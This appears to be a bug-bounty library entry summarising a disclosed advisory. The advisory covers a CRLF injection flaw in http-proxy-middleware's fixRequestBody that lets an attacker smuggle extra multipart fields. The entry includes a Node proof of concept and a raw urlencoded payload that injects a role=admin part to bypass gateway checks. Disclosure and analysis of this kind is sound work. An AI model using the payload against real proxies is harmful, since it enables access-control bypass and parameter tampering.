# http-proxy-middleware: multipart/form-data field injection via unescaped CRLF in `fixRequestBody`

fixRequestBody in http-proxy-middleware interpolates CRLF-bearing values into multipart bodies, letting attackers inject extra form parts the backend trusts but the gateway never validated.

- Payout: Research
- Severity: high
- Program: http-proxy-middleware
- Found by: RamiAltai
- Disclosed: 2026-06-18
- CVE: CVE-2026-55603
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-gcq2-9pq2-cxqm
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-gcq2-9pq2-cxqm
- Tags: area:web domain:oss domain:web impact:integrity kind:research platform:ghsa sev:high tech:nodejs technique:parser-differential vuln:access-control vuln:business-logic vuln:crlf-injection

**Target:** Node.js proxy middleware helper fixRequestBody (multipart body rebuild)
**Root cause:** handlerFormDataBodyData concatenates req.body keys/values into the multipart wire format without escaping CR/LF, unlike the JSON and urlencoded branches which use safe serializers.
**Steps:**
1. Ensure proxy app parses input with a non-multipart parser (express.urlencoded/json) so CRLF in a value survives into req.body.
2. Send `user=alice%0D%0A--BB%0D%0AContent-Disposition:%20form-data;%20name="role"%0D%0A%0D%0Aadmin%0D%0A--BB--` as application/x-www-form-urlencoded.
3. App calls fixRequestBody with outgoing Content-Type `multipart/form-data; boundary=BB`.
4. Library rebuilds body; injected `--BB` closes the user part and opens a new `role=admin` part.
5. Backend multipart parser sees role=admin while gateway policy only inspected req.body.user.
**How found:** Code review of fixRequestBody's output branches: JSON uses JSON.stringify and urlencoded uses querystring.stringify (both escape), but the multipart branch does raw string interpolation, prompting a desync test between the proxy's parser and the backend's.
**Exploitation:** Attacker controls one body field value; the proxy's non-multipart parser stores it verbatim, fixRequestBody re-emits it as multipart with the CRLF intact, and the upstream backend parses an extra attacker-chosen field (e.g. role=admin) that bypasses gateway-side validation.
**Escalation:** Can inject arbitrary extra fields or a filename= file part into the upstream multipart stream, enabling access-control bypass and parameter tampering.
**Insight:** When a proxy re-serializes a body it parsed with a different parser than the backend uses, look for branches that string-concatenate instead of using a real encoder; the parser differential between input and output formats is the desync primitive.

## Proof of concept (copied exactly from the original report)

**Node PoC injecting multipart role=admin field**

```
import { fixRequestBody } from 'http-proxy-middleware';

// `req.body` as a NON-multipart parser (express.urlencoded / express.json) yields it.
// The attacker sent  user=alice%0D%0A--BB%0D%0A...  so this ONE field's value holds CRLF:
const req = { readableLength: 0, body: {
  user: 'alice\r\n--BB\r\nContent-Disposition: form-data; name="role"\r\n\r\nadmin\r\n--BB--'
}};

// Minimal stand-in for the outgoing proxy request; capture what gets written.
const out = [];
const proxyReq = {
  h: { 'content-type': 'multipart/form-data; boundary=BB' },
  getHeader(n){ return this.h[n.toLowerCase()]; },
  setHeader(n,v){ this.h[n.toLowerCase()] = v; },
  write(d){ out.push(Buffer.from(d)); },
};

fixRequestBody(proxyReq, req);          // library rebuilds the multipart body
```

**Raw urlencoded request with CRLF payload**

```
user=alice%0D%0A--BB%0D%0AContent-Disposition:%20form-data;%20name="role"%0D%0A%0D%0Aadmin%0D%0A--BB--
```

